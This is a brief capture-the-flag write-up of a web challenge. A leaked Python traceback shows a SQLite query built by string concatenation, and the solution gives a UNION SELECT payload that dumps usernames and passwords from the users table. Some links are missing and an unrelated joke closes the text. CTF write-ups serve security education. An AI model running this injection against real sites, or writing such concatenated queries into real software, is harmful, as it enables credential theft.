Category: Web
Points: 100 (101 solves)
Author: BananaMan


A committee was formed last year to decide the highly-sensitive contents of our challenges. All we could find is their profiles on this website. They are super paranoid that their profile site is hackable and decided to implement insane rate limits. Really we need to get access to the admin's password. If only that was possible.

Solution :

Go to

Traceback (most recent call last): File "", line 49, in do_GET cursor.execute("SELECT id, name, email FROM users WHERE id=" + params["id"]) sqlite3.OperationalError: near "<": syntax error


SELECT id, name, email FROM users WHERE id=1 UNION SELECT id, password, email FROM users

Go to,%20password,%20email%20FROM%20users:


For further reference on SQL injection check out my previous blog using the link below,

Thank you for reading, stay tuned for more interesting content.





I never hear from most of my high school classmates unless their email account gets hacked.